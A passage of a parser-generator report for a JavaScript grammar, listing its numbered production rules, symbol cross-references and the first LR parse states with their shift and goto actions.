":" AssignmentExpr -rule 31 Property: NUMBER ":" AssignmentExpr -rule 32 Property: IDENT IDENT "(" ")" "{" FunctionBody "}" -rule 33 Property: IDENT IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 34 PropertyList: Property -rule 35 PropertyList: PropertyList "," Property -rule 36 PrimaryExpr: PrimaryExprNoBrace -rule 37 PrimaryExpr: "{" "}" -rule 38 PrimaryExpr: "{" PropertyList "}" -rule 39 PrimaryExpr: "{" PropertyList "," "}" -rule 40 PrimaryExprNoBrace: THIS -rule 41 PrimaryExprNoBrace: Literal -rule 42 PrimaryExprNoBrace: ArrayLiteral -rule 43 PrimaryExprNoBrace: IDENT -rule 44 PrimaryExprNoBrace: "(" Expr ")" -rule 45 ArrayLiteral: "[" ElisionOpt "]" -rule 46 ArrayLiteral: "[" ElementList "]" -rule 47 ArrayLiteral: "[" ElementList "," ElisionOpt "]" -rule 48 ElementList: ElisionOpt AssignmentExpr -rule 49 ElementList: ElementList "," ElisionOpt AssignmentExpr -rule 50 ElisionOpt: -rule 51 ElisionOpt: Elision -rule 52 Elision: "," -rule 53 Elision: Elision "," -rule 54 MemberExpr: PrimaryExpr -rule 55 MemberExpr: FunctionExpr -rule 56 MemberExpr: MemberExpr "[" Expr "]" -rule 57 MemberExpr: MemberExpr "." IDENT -rule 58 MemberExpr: NEW MemberExpr Arguments -rule 59 MemberExprNoBF: PrimaryExprNoBrace -rule 60 MemberExprNoBF: MemberExprNoBF "[" Expr "]" -rule 61 MemberExprNoBF: MemberExprNoBF "." IDENT -rule 62 MemberExprNoBF: NEW MemberExpr Arguments -rule 63 NewExpr: MemberExpr -rule 64 NewExpr: NEW NewExpr -rule 65 NewExprNoBF: MemberExprNoBF -rule 66 NewExprNoBF: NEW NewExpr -rule 67 CallExpr: MemberExpr Arguments -rule 68 CallExpr: CallExpr Arguments -rule 69 CallExpr: CallExpr "[" Expr "]" -rule 70 CallExpr: CallExpr "." IDENT -rule 71 CallExprNoBF: MemberExprNoBF Arguments -rule 72 CallExprNoBF: CallExprNoBF Arguments -rule 73 CallExprNoBF: CallExprNoBF "[" Expr "]" -rule 74 CallExprNoBF: CallExprNoBF "." IDENT -rule 75 Arguments: "(" ")" -rule 76 Arguments: "(" ArgumentList ")" -rule 77 ArgumentList: AssignmentExpr -rule 78 ArgumentList: ArgumentList "," AssignmentExpr -rule 79 LeftHandSideExpr: NewExpr -rule 80 LeftHandSideExpr: CallExpr -rule 81 LeftHandSideExprNoBF: NewExprNoBF -rule 82 LeftHandSideExprNoBF: CallExprNoBF -rule 83 PostfixExpr: LeftHandSideExpr -rule 84 PostfixExpr: LeftHandSideExpr PLUSPLUS -rule 85 PostfixExpr: LeftHandSideExpr MINUSMINUS -rule 86 PostfixExprNoBF: LeftHandSideExprNoBF -rule 87 PostfixExprNoBF: LeftHandSideExprNoBF PLUSPLUS -rule 88 PostfixExprNoBF: LeftHandSideExprNoBF MINUSMINUS -rule 89 UnaryExprCommon: DELETE UnaryExpr -rule 90 UnaryExprCommon: VOID UnaryExpr -rule 91 UnaryExprCommon: TYPEOF UnaryExpr -rule 92 UnaryExprCommon: PLUSPLUS UnaryExpr -rule 93 UnaryExprCommon: MINUSMINUS UnaryExpr -rule 94 UnaryExprCommon: "+" UnaryExpr -rule 95 UnaryExprCommon: "-" UnaryExpr -rule 96 UnaryExprCommon: "~" UnaryExpr -rule 97 UnaryExprCommon: "!" UnaryExpr -rule 98 UnaryExpr: PostfixExpr -rule 99 UnaryExpr: UnaryExprCommon -rule 100 UnaryExprNoBF: PostfixExprNoBF -rule 101 UnaryExprNoBF: UnaryExprCommon -rule 102 MultiplicativeExpr: UnaryExpr -rule 103 MultiplicativeExpr: MultiplicativeExpr "*" UnaryExpr -rule 104 MultiplicativeExpr: MultiplicativeExpr "/" UnaryExpr -rule 105 MultiplicativeExpr: MultiplicativeExpr "%" UnaryExpr -rule 106 MultiplicativeExprNoBF: UnaryExprNoBF -rule 107 MultiplicativeExprNoBF: MultiplicativeExprNoBF "*" UnaryExpr -rule 108 MultiplicativeExprNoBF: MultiplicativeExprNoBF "/" UnaryExpr -rule 109 MultiplicativeExprNoBF: MultiplicativeExprNoBF "%" UnaryExpr -rule 110 AdditiveExpr: MultiplicativeExpr -rule 111 AdditiveExpr: AdditiveExpr "+" MultiplicativeExpr -rule 112 AdditiveExpr: AdditiveExpr "-" MultiplicativeExpr -rule 113 AdditiveExprNoBF: MultiplicativeExprNoBF -rule 114 AdditiveExprNoBF: AdditiveExprNoBF "+" MultiplicativeExpr -rule 115 AdditiveExprNoBF: AdditiveExprNoBF "-" MultiplicativeExpr -rule 116 ShiftExpr: AdditiveExpr -rule 117 ShiftExpr: ShiftExpr LSHIFT AdditiveExpr -rule 118 ShiftExpr: ShiftExpr RSHIFT AdditiveExpr -rule 119 ShiftExpr: ShiftExpr URSHIFT AdditiveExpr -rule 120 ShiftExprNoBF: AdditiveExprNoBF -rule 121 ShiftExprNoBF: ShiftExprNoBF LSHIFT AdditiveExpr -rule 122 ShiftExprNoBF: ShiftExprNoBF RSHIFT AdditiveExpr -rule 123 ShiftExprNoBF: ShiftExprNoBF URSHIFT AdditiveExpr -rule 124 RelationalExpr: ShiftExpr -rule 125 RelationalExpr: RelationalExpr "<" ShiftExpr -rule 126 RelationalExpr: RelationalExpr ">" ShiftExpr -rule 127 RelationalExpr: RelationalExpr LE ShiftExpr -rule 128 RelationalExpr: RelationalExpr GE ShiftExpr -rule 129 RelationalExpr: RelationalExpr INSTANCEOF ShiftExpr -rule 130 RelationalExpr: RelationalExpr IN ShiftExpr -rule 131 RelationalExprNoIn: ShiftExpr -rule 132 RelationalExprNoIn: RelationalExprNoIn "<" ShiftExpr -rule 133 RelationalExprNoIn: RelationalExprNoIn ">" ShiftExpr -rule 134 RelationalExprNoIn: RelationalExprNoIn LE ShiftExpr -rule 135 RelationalExprNoIn: RelationalExprNoIn GE ShiftExpr -rule 136 RelationalExprNoIn: RelationalExprNoIn INSTANCEOF ShiftExpr -rule 137 RelationalExprNoBF: ShiftExprNoBF -rule 138 RelationalExprNoBF: RelationalExprNoBF "<" ShiftExpr -rule 139 RelationalExprNoBF: RelationalExprNoBF ">" ShiftExpr -rule 140 RelationalExprNoBF: RelationalExprNoBF LE ShiftExpr -rule 141 RelationalExprNoBF: RelationalExprNoBF GE ShiftExpr -rule 142 RelationalExprNoBF: RelationalExprNoBF INSTANCEOF ShiftExpr -rule 143 RelationalExprNoBF: RelationalExprNoBF IN ShiftExpr -rule 144 EqualityExpr: RelationalExpr -rule 145 EqualityExpr: EqualityExpr EQEQ RelationalExpr -rule 146 EqualityExpr: EqualityExpr NE RelationalExpr -rule 147 EqualityExpr: EqualityExpr STREQ RelationalExpr -rule 148 EqualityExpr: EqualityExpr STRNEQ RelationalExpr -rule 149 EqualityExprNoIn: RelationalExprNoIn -rule 150 EqualityExprNoIn: EqualityExprNoIn EQEQ RelationalExprNoIn -rule 151 EqualityExprNoIn: EqualityExprNoIn NE RelationalExprNoIn -rule 152 EqualityExprNoIn: EqualityExprNoIn STREQ RelationalExprNoIn -rule 153 EqualityExprNoIn: EqualityExprNoIn STRNEQ RelationalExprNoIn -rule 154 EqualityExprNoBF: RelationalExprNoBF -rule 155 EqualityExprNoBF: EqualityExprNoBF EQEQ RelationalExpr -rule 156 EqualityExprNoBF: EqualityExprNoBF NE RelationalExpr -rule 157 EqualityExprNoBF: EqualityExprNoBF STREQ RelationalExpr -rule 158 EqualityExprNoBF: EqualityExprNoBF STRNEQ RelationalExpr -rule 159 BitwiseANDExpr: EqualityExpr -rule 160 BitwiseANDExpr: BitwiseANDExpr "&" EqualityExpr -rule 161 BitwiseANDExprNoIn: EqualityExprNoIn -rule 162 BitwiseANDExprNoIn: BitwiseANDExprNoIn "&" EqualityExprNoIn -rule 163 BitwiseANDExprNoBF: EqualityExprNoBF -rule 164 BitwiseANDExprNoBF: BitwiseANDExprNoBF "&" EqualityExpr -rule 165 BitwiseXORExpr: BitwiseANDExpr -rule 166 BitwiseXORExpr: BitwiseXORExpr "^" BitwiseANDExpr -rule 167 BitwiseXORExprNoIn: BitwiseANDExprNoIn -rule 168 BitwiseXORExprNoIn: BitwiseXORExprNoIn "^" BitwiseANDExprNoIn -rule 169 BitwiseXORExprNoBF: BitwiseANDExprNoBF -rule 170 BitwiseXORExprNoBF: BitwiseXORExprNoBF "^" BitwiseANDExpr -rule 171 BitwiseORExpr: BitwiseXORExpr -rule 172 BitwiseORExpr: BitwiseORExpr "|" BitwiseXORExpr -rule 173 BitwiseORExprNoIn: BitwiseXORExprNoIn -rule 174 BitwiseORExprNoIn: BitwiseORExprNoIn "|" BitwiseXORExprNoIn -rule 175 BitwiseORExprNoBF: BitwiseXORExprNoBF -rule 176 BitwiseORExprNoBF: BitwiseORExprNoBF "|" BitwiseXORExpr -rule 177 LogicalANDExpr: BitwiseORExpr -rule 178 LogicalANDExpr: LogicalANDExpr AND BitwiseORExpr -rule 179 LogicalANDExprNoIn: BitwiseORExprNoIn -rule 180 LogicalANDExprNoIn: LogicalANDExprNoIn AND BitwiseORExprNoIn -rule 181 LogicalANDExprNoBF: BitwiseORExprNoBF -rule 182 LogicalANDExprNoBF: LogicalANDExprNoBF AND BitwiseORExpr -rule 183 LogicalORExpr: LogicalANDExpr -rule 184 LogicalORExpr: LogicalORExpr OR LogicalANDExpr -rule 185 LogicalORExprNoIn: LogicalANDExprNoIn -rule 186 LogicalORExprNoIn: LogicalORExprNoIn OR LogicalANDExprNoIn -rule 187 LogicalORExprNoBF: LogicalANDExprNoBF -rule 188 LogicalORExprNoBF: LogicalORExprNoBF OR LogicalANDExpr -rule 189 ConditionalExpr: LogicalORExpr -rule 190 ConditionalExpr: LogicalORExpr "?" AssignmentExpr ":" AssignmentExpr -rule 191 ConditionalExprNoIn: LogicalORExprNoIn -rule 192 ConditionalExprNoIn: LogicalORExprNoIn "?" AssignmentExprNoIn ":" AssignmentExprNoIn -rule 193 ConditionalExprNoBF: LogicalORExprNoBF -rule 194 ConditionalExprNoBF: LogicalORExprNoBF "?" AssignmentExpr ":" AssignmentExpr -rule 195 AssignmentExpr: ConditionalExpr -rule 196 AssignmentExpr: LeftHandSideExpr AssignmentOperator AssignmentExpr -rule 197 AssignmentExprNoIn: ConditionalExprNoIn -rule 198 AssignmentExprNoIn: LeftHandSideExpr AssignmentOperator AssignmentExprNoIn -rule 199 AssignmentExprNoBF: ConditionalExprNoBF -rule 200 AssignmentExprNoBF: LeftHandSideExprNoBF AssignmentOperator AssignmentExpr -rule 201 AssignmentOperator: "=" -rule 202 AssignmentOperator: PLUSEQUAL -rule 203 AssignmentOperator: MINUSEQUAL -rule 204 AssignmentOperator: MULTEQUAL -rule 205 AssignmentOperator: DIVEQUAL -rule 206 AssignmentOperator: LSHIFTEQUAL -rule 207 AssignmentOperator: RSHIFTEQUAL -rule 208 AssignmentOperator: URSHIFTEQUAL -rule 209 AssignmentOperator: ANDEQUAL -rule 210 AssignmentOperator: XOREQUAL -rule 211 AssignmentOperator: OREQUAL -rule 212 AssignmentOperator: MODEQUAL -rule 213 Expr: AssignmentExpr -rule 214 Expr: Expr "," AssignmentExpr -rule 215 ExprNoIn: AssignmentExprNoIn -rule 216 ExprNoIn: ExprNoIn "," AssignmentExprNoIn -rule 217 ExprNoBF: AssignmentExprNoBF -rule 218 ExprNoBF: ExprNoBF "," AssignmentExpr -rule 219 Block: "{" SourceElements "}" -rule 220 VariableStatement: VAR VariableDeclarationList ";" -rule 221 VariableStatement: VAR VariableDeclarationList error -rule 222 VariableDeclarationList: VariableDeclaration -rule 223 VariableDeclarationList: VariableDeclarationList "," VariableDeclaration -rule 224 VariableDeclarationListNoIn: VariableDeclarationNoIn -rule 225 VariableDeclarationListNoIn: VariableDeclarationListNoIn "," VariableDeclarationNoIn -rule 226 VariableDeclaration: IDENT -rule 227 VariableDeclaration: IDENT Initializer -rule 228 VariableDeclarationNoIn: IDENT -rule 229 VariableDeclarationNoIn: IDENT InitializerNoIn -rule 230 ConstStatement: CONST ConstDeclarationList ";" -rule 231 ConstStatement: CONST ConstDeclarationList error -rule 232 ConstDeclarationList: ConstDeclaration -rule 233 ConstDeclarationList: ConstDeclarationList "," ConstDeclaration -rule 234 ConstDeclaration: IDENT -rule 235 ConstDeclaration: IDENT Initializer -rule 236 Initializer: "=" AssignmentExpr -rule 237 InitializerNoIn: "=" AssignmentExprNoIn -rule 238 EmptyStatement: ";" -rule 239 ExprStatement: ExprNoBF ";" -rule 240 ExprStatement: ExprNoBF error -rule 241 IfStatement: IF "(" Expr ")" Statement -rule 242 IfStatement: IF "(" Expr ")" Statement ELSE Statement -rule 243 IterationStatement: DO Statement WHILE "(" Expr ")" ";" -rule 244 IterationStatement: DO Statement WHILE "(" Expr ")" error -rule 245 IterationStatement: WHILE "(" Expr ")" Statement -rule 246 IterationStatement: FOR "(" ExprNoInOpt ";" ExprOpt ";" ExprOpt ")" Statement -rule 247 IterationStatement: FOR "(" VAR VariableDeclarationListNoIn ";" ExprOpt ";" ExprOpt ")" Statement -rule 248 IterationStatement: FOR "(" LeftHandSideExpr IN Expr ")" Statement -rule 249 IterationStatement: FOR "(" VAR IDENT IN Expr ")" Statement -rule 250 IterationStatement: FOR "(" VAR IDENT InitializerNoIn IN Expr ")" Statement -rule 251 ExprOpt: -rule 252 ExprOpt: Expr -rule 253 ExprNoInOpt: -rule 254 ExprNoInOpt: ExprNoIn -rule 255 ContinueStatement: CONTINUE ";" -rule 256 ContinueStatement: CONTINUE error -rule 257 ContinueStatement: CONTINUE IDENT ";" -rule 258 ContinueStatement: CONTINUE IDENT error -rule 259 BreakStatement: BREAK ";" -rule 260 BreakStatement: BREAK error -rule 261 BreakStatement: BREAK IDENT ";" -rule 262 BreakStatement: BREAK IDENT error -rule 263 ReturnStatement: RETURN ";" -rule 264 ReturnStatement: RETURN error -rule 265 ReturnStatement: RETURN Expr ";" -rule 266 ReturnStatement: RETURN Expr error -rule 267 WithStatement: WITH "(" Expr ")" Statement -rule 268 SwitchStatement: SWITCH "(" Expr ")" CaseBlock -rule 269 CaseBlock: "{" CaseClausesOpt "}" -rule 270 CaseBlock: "{" CaseClausesOpt DefaultClause CaseClausesOpt "}" -rule 271 CaseClausesOpt: -rule 272 CaseClausesOpt: CaseClauses -rule 273 CaseClauses: CaseClause -rule 274 CaseClauses: CaseClauses CaseClause -rule 275 CaseClause: CASE Expr ":" SourceElements -rule 276 DefaultClause: DEFAULT ":" SourceElements -rule 277 LabelledStatement: IDENT ":" Statement -rule 278 ThrowStatement: THROW Expr ";" -rule 279 ThrowStatement: THROW Expr error -rule 280 TryStatement: TRY Block FINALLY Block -rule 281 TryStatement: TRY Block CATCH "(" IDENT ")" Block -rule 282 TryStatement: TRY Block CATCH "(" IDENT ")" Block FINALLY Block -rule 283 DebuggerStatement: DEBUGGER ";" -rule 284 DebuggerStatement: DEBUGGER error -rule 285 FunctionDeclaration: FUNCTION IDENT "(" ")" "{" FunctionBody "}" -rule 286 FunctionDeclaration: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 287 FunctionExpr: FUNCTION "(" ")" "{" FunctionBody "}" -rule 288 FunctionExpr: FUNCTION "(" FormalParameterList ")" "{" FunctionBody "}" -rule 289 FunctionExpr: FUNCTION IDENT "(" ")" "{" FunctionBody "}" -rule 290 FunctionExpr: FUNCTION IDENT "(" FormalParameterList ")" "{" FunctionBody "}" -rule 291 FormalParameterList: IDENT -rule 292 FormalParameterList: FormalParameterList "," IDENT -rule 293 FunctionBody: SourceElements - -------- Symbols ------- - -**Nonterminals, with rules where they appear - - $start (88) - on right: - on left : - SourceElements (89) - on right: 219 275 276 293 - on left : 1 2 - SourceElementList (90) - on right: 2 4 - on left : 3 4 - SourceElement (91) - on right: 3 4 - on left : 5 6 - FunctionDeclaration (92) - on right: 5 - on left : 285 286 - Statement (93) - on right: 6 241 242 243 244 245 246 247 248 249 250 267 277 - on left : 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 - Block (94) - on right: 7 280 281 282 - on left : 219 - VariableStatement (95) - on right: 8 - on left : 220 221 - ConstStatement (96) - on right: 9 - on left : 230 231 - EmptyStatement (97) - on right: 10 - on left : 238 - ExprStatement (98) - on right: 11 - on left : 239 240 - IfStatement (99) - on right: 12 - on left : 241 242 - IterationStatement (100) - on right: 13 - on left : 243 244 245 246 247 248 249 250 - ContinueStatement (101) - on right: 14 - on left : 255 256 257 258 - BreakStatement (102) - on right: 15 - on left : 259 260 261 262 - ReturnStatement (103) - on right: 16 - on left : 263 264 265 266 - WithStatement (104) - on right: 17 - on left : 267 - SwitchStatement (105) - on right: 18 - on left : 268 - LabelledStatement (106) - on right: 19 - on left : 277 - ThrowStatement (107) - on right: 20 - on left : 278 279 - TryStatement (108) - on right: 21 - on left : 280 281 282 - DebuggerStatement (109) - on right: 22 - on left : 283 284 - Literal (110) - on right: 41 - on left : 23 24 25 26 27 28 - Property (111) - on right: 34 35 - on left : 29 30 31 32 33 - AssignmentExpr (112) - on right: 29 30 31 48 49 77 78 190 194 196 200 213 214 218 236 - on left : 195 196 - FunctionBody (113) - on right: 32 33 285 286 287 288 289 290 - on left : 293 - FormalParameterList (114) - on right: 33 286 288 290 292 - on left : 291 292 - PropertyList (115) - on right: 35 38 39 - on left : 34 35 - PrimaryExpr (116) - on right: 54 - on left : 36 37 38 39 - PrimaryExprNoBrace (117) - on right: 36 59 - on left : 40 41 42 43 44 - ArrayLiteral (118) - on right: 42 - on left : 45 46 47 - Expr (119) - on right: 44 56 60 69 73 214 241 242 243 244 245 248 249 250 252 265 266 267 268 275 278 279 - on left : 213 214 - ElisionOpt (120) - on right: 45 47 48 49 - on left : 50 51 - ElementList (121) - on right: 46 47 49 - on left : 48 49 - Elision (122) - on right: 51 53 - on left : 52 53 - MemberExpr (123) - on right: 56 57 58 62 63 67 - on left : 54 55 56 57 58 - FunctionExpr (124) - on right: 55 - on left : 287 288 289 290 - Arguments (125) - on right: 58 62 67 68 71 72 - on left : 75 76 - MemberExprNoBF (126) - on right: 60 61 65 71 - on left : 59 60 61 62 - NewExpr (127) - on right: 64 66 79 - on left : 63 64 - NewExprNoBF (128) - on right: 81 - on left : 65 66 - CallExpr (129) - on right: 68 69 70 80 - on left : 67 68 69 70 - CallExprNoBF (130) - on right: 72 73 74 82 - on left : 71 72 73 74 - ArgumentList (131) - on right: 76 78 - on left : 77 78 - LeftHandSideExpr (132) - on right: 83 84 85 196 198 248 - on left : 79 80 - LeftHandSideExprNoBF (133) - on right: 86 87 88 200 - on left : 81 82 - PostfixExpr (134) - on right: 98 - on left : 83 84 85 - PostfixExprNoBF (135) - on right: 100 - on left : 86 87 88 - UnaryExprCommon (136) - on right: 99 101 - on left : 89 90 91 92 93 94 95 96 97 - UnaryExpr (137) - on right: 89 90 91 92 93 94 95 96 97 102 103 104 105 107 108 109 - on left : 98 99 - UnaryExprNoBF (138) - on right: 106 - on left : 100 101 - MultiplicativeExpr (139) - on right: 103 104 105 110 111 112 114 115 - on left : 102 103 104 105 - MultiplicativeExprNoBF (140) - on right: 107 108 109 113 - on left : 106 107 108 109 - AdditiveExpr (141) - on right: 111 112 116 117 118 119 121 122 123 - on left : 110 111 112 - AdditiveExprNoBF (142) - on right: 114 115 120 - on left : 113 114 115 - ShiftExpr (143) - on right: 117 118 119 124 125 126 127 128 129 130 131 132 133 134 135 136 138 139 140 141 142 143 - on left : 116 117 118 119 - ShiftExprNoBF (144) - on right: 121 122 123 137 - on left : 120 121 122 123 - RelationalExpr (145) - on right: 125 126 127 128 129 130 144 145 146 147 148 155 156 157 158 - on left : 124 125 126 127 128 129 130 - RelationalExprNoIn (146) - on right: 132 133 134 135 136 149 150 151 152 153 - on left : 131 132 133 134 135 136 - RelationalExprNoBF (147) - on right: 138 139 140 141 142 143 154 - on left : 137 138 139 140 141 142 143 - EqualityExpr (148) - on right: 145 146 147 148 159 160 164 - on left : 144 145 146 147 148 - EqualityExprNoIn (149) - on right: 150 151 152 153 161 162 - on left : 149 150 151 152 153 - EqualityExprNoBF (150) - on right: 155 156 157 158 163 - on left : 154 155 156 157 158 - BitwiseANDExpr (151) - on right: 160 165 166 170 - on left : 159 160 - BitwiseANDExprNoIn (152) - on right: 162 167 168 - on left : 161 162 - BitwiseANDExprNoBF (153) - on right: 164 169 - on left : 163 164 - BitwiseXORExpr (154) - on right: 166 171 172 176 - on left : 165 166 - BitwiseXORExprNoIn (155) - on right: 168 173 174 - on left : 167 168 - BitwiseXORExprNoBF (156) - on right: 170 175 - on left : 169 170 - BitwiseORExpr (157) - on right: 172 177 178 182 - on left : 171 172 - BitwiseORExprNoIn (158) - on right: 174 179 180 - on left : 173 174 - BitwiseORExprNoBF (159) - on right: 176 181 - on left : 175 176 - LogicalANDExpr (160) - on right: 178 183 184 188 - on left : 177 178 - LogicalANDExprNoIn (161) - on right: 180 185 186 - on left : 179 180 - LogicalANDExprNoBF (162) - on right: 182 187 - on left : 181 182 - LogicalORExpr (163) - on right: 184 189 190 - on left : 183 184 - LogicalORExprNoIn (164) - on right: 186 191 192 - on left : 185 186 - LogicalORExprNoBF (165) - on right: 188 193 194 - on left : 187 188 - ConditionalExpr (166) - on right: 195 - on left : 189 190 - ConditionalExprNoIn (167) - on right: 197 - on left : 191 192 - AssignmentExprNoIn (168) - on right: 192 198 215 216 237 - on left : 197 198 - ConditionalExprNoBF (169) - on right: 199 - on left : 193 194 - AssignmentOperator (170) - on right: 196 198 200 - on left : 201 202 203 204 205 206 207 208 209 210 211 212 - AssignmentExprNoBF (171) - on right: 217 - on left : 199 200 - ExprNoIn (172) - on right: 216 254 - on left : 215 216 - ExprNoBF (173) - on right: 218 239 240 - on left : 217 218 - VariableDeclarationList (174) - on right: 220 221 223 - on left : 222 223 - VariableDeclaration (175) - on right: 222 223 - on left : 226 227 - VariableDeclarationListNoIn (176) - on right: 225 247 - on left : 224 225 - VariableDeclarationNoIn (177) - on right: 224 225 - on left : 228 229 - Initializer (178) - on right: 227 235 - on left : 236 - InitializerNoIn (179) - on right: 229 250 - on left : 237 - ConstDeclarationList (180) - on right: 230 231 233 - on left : 232 233 - ConstDeclaration (181) - on right: 232 233 - on left : 234 235 - ExprNoInOpt (182) - on right: 246 - on left : 253 254 - ExprOpt (183) - on right: 246 247 - on left : 251 252 - CaseBlock (184) - on right: 268 - on left : 269 270 - CaseClausesOpt (185) - on right: 269 270 - on left : 271 272 - DefaultClause (186) - on right: 270 - on left : 276 - CaseClauses (187) - on right: 272 274 - on left : 273 274 - CaseClause (188) - on right: 273 274 - on left : 275 - -**Terminals, with rules where they appear - - $end (0) - error (1) 221 231 240 244 256 258 260 262 264 266 279 284 - NULL (2) 23 - TRUE (3) 24 - FALSE (4) 25 - BREAK (5) 259 260 261 262 - CASE (6) 275 - CATCH (7) 281 282 - CONST (8) 230 231 - CONTINUE (9) 255 256 257 258 - DEBUGGER (10) 283 284 - DEFAULT (11) 276 - DELETE (12) 89 - DO (13) 243 244 - ELSE (14) 242 - ENUM (15) - FINALLY (16) 280 282 - FOR (17) 246 247 248 249 250 - FUNCTION (18) 285 286 287 288 289 290 - IF (19) 241 242 - IN (20) 130 143 248 249 250 - INSTANCEOF (21) 129 136 142 - NEW (22) 58 62 64 66 - RETURN (23) 263 264 265 266 - SWITCH (24) 268 - THIS (25) 40 - THROW (26) 278 279 - TRY (27) 280 281 282 - TYPEOF (28) 91 - VAR (29) 220 221 247 249 250 - VOID (30) 90 - WHILE (31) 243 244 245 - WITH (32) 267 - EQEQ (33) 145 150 155 - NE (34) 146 151 156 - STREQ (35) 147 152 157 - STRNEQ (36) 148 153 158 - LE (37) 127 134 140 - GE (38) 128 135 141 - OR (39) 184 186 188 - AND (40) 178 180 182 - PLUSPLUS (41) 84 87 92 - MINUSMINUS (42) 85 88 93 - LSHIFT (43) 117 121 - RSHIFT (44) 118 122 - URSHIFT (45) 119 123 - PLUSEQUAL (46) 202 - MINUSEQUAL (47) 203 - MULTEQUAL (48) 204 - DIVEQUAL (49) 205 - LSHIFTEQUAL (50) 206 - RSHIFTEQUAL (51) 207 - URSHIFTEQUAL (52) 208 - ANDEQUAL (53) 209 - MODEQUAL (54) 212 - XOREQUAL (55) 210 - OREQUAL (56) 211 - REGEXP (57) 28 - NUMBER (58) 26 31 - STRING (59) 27 30 - IDENT (60) 29 32 33 43 57 61 70 74 226 227 228 229 234 235 249 250 257 258 261 262 277 281 282 285 286 289 290 291 292 - AUTOPLUSPLUS (61) - AUTOMINUSMINUS (62) - IF_WITHOUT_ELSE (63) - ":" (64) 29 30 31 190 192 194 275 276 277 - "(" (65) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290 - ")" (66) 32 33 44 75 76 241 242 243 244 245 246 247 248 249 250 267 268 281 282 285 286 287 288 289 290 - "{" (67) 32 33 37 38 39 219 269 270 285 286 287 288 289 290 - "}" (68) 32 33 37 38 39 219 269 270 285 286 287 288 289 290 - "," (69) 35 39 47 49 52 53 78 214 216 218 223 225 233 292 - "[" (70) 45 46 47 56 60 69 73 - "]" (71) 45 46 47 56 60 69 73 - "." (72) 57 61 70 74 - "+" (73) 94 111 114 - "-" (74) 95 112 115 - "~" (75) 96 - "!" (76) 97 - "*" (77) 103 107 - "/" (78) 104 108 - "%" (79) 105 109 - "<" (80) 125 132 138 - ">" (81) 126 133 139 - "&" (82) 160 162 164 - "^" (83) 166 168 170 - "|" (84) 172 174 176 - "?" (85) 190 192 194 - "=" (86) 201 236 237 - ";" (87) 220 230 238 239 243 246 247 255 257 259 261 263 265 278 283 - ---------- State --------- - -state 0 - - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 1 (SourceElements) - - SourceElements go to state 1 - SourceElementList go to state 2 - SourceElement go to state 3 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go to state 14 - ReturnStatement go to state 15 - WithStatement go to state 16 - SwitchStatement go to state 17 - LabelledStatement go to state 18 - ThrowStatement go to state 19 - TryStatement go to state 20 - DebuggerStatement go to state 21 - Literal go to state 29 - ArrayLiteral go to state 30 - PrimaryExprNoBrace go to state 34 - MemberExprNoBF go to state 35 - CallExprNoBF go to state 37 - NewExprNoBF go to state 38 - LeftHandSideExprNoBF go to state 39 - PostfixExprNoBF go to state 49 - UnaryExprCommon go to state 50 - UnaryExprNoBF go to state 51 - MultiplicativeExprNoBF go to state 52 - AdditiveExprNoBF go to state 53 - ShiftExprNoBF go to state 54 - RelationalExprNoBF go to state 55 - EqualityExprNoBF go to state 56 - BitwiseANDExprNoBF go to state 57 - BitwiseXORExprNoBF go to state 58 - BitwiseORExprNoBF go to state 59 - LogicalANDExprNoBF go to state 60 - LogicalORExprNoBF go to state 61 - ConditionalExprNoBF go to state 62 - AssignmentExprNoBF go to state 63 - ExprNoBF go to state 64 - -state 1 - - - $end shift, and go to state 82 - - -state 2 - - 2) SourceElements : SourceElementList _ - 4) SourceElementList : SourceElementList _ SourceElement - - NULL shift, and go to state 22 - TRUE shift, and go to state 23 - FALSE shift, and go to state 24 - BREAK shift, and go to state 74 - CONST shift, and go to state 67 - CONTINUE shift, and go to state 73 - DEBUGGER shift, and go to state 80 - DELETE shift, and go to state 40 - DO shift, and go to state 70 - FOR shift, and go to state 72 - FUNCTION shift, and go to state 81 - IF shift, and go to state 69 - NEW shift, and go to state 36 - RETURN shift, and go to state 75 - SWITCH shift, and go to state 77 - THIS shift, and go to state 28 - THROW shift, and go to state 78 - TRY shift, and go to state 79 - TYPEOF shift, and go to state 42 - VAR shift, and go to state 66 - VOID shift, and go to state 41 - WHILE shift, and go to state 71 - WITH shift, and go to state 76 - PLUSPLUS shift, and go to state 43 - MINUSMINUS shift, and go to state 44 - REGEXP shift, and go to state 27 - NUMBER shift, and go to state 25 - STRING shift, and go to state 26 - IDENT shift, and go to state 31 - "(" shift, and go to state 32 - "{" shift, and go to state 65 - "[" shift, and go to state 33 - "+" shift, and go to state 45 - "-" shift, and go to state 46 - "~" shift, and go to state 47 - "!" shift, and go to state 48 - ";" shift, and go to state 68 - $default reduce using rule 2 (SourceElements) - - SourceElement go to state 83 - FunctionDeclaration go to state 4 - Statement go to state 5 - Block go to state 6 - VariableStatement go to state 7 - ConstStatement go to state 8 - EmptyStatement go to state 9 - ExprStatement go to state 10 - IfStatement go to state 11 - IterationStatement go to state 12 - ContinueStatement go to state 13 - BreakStatement go 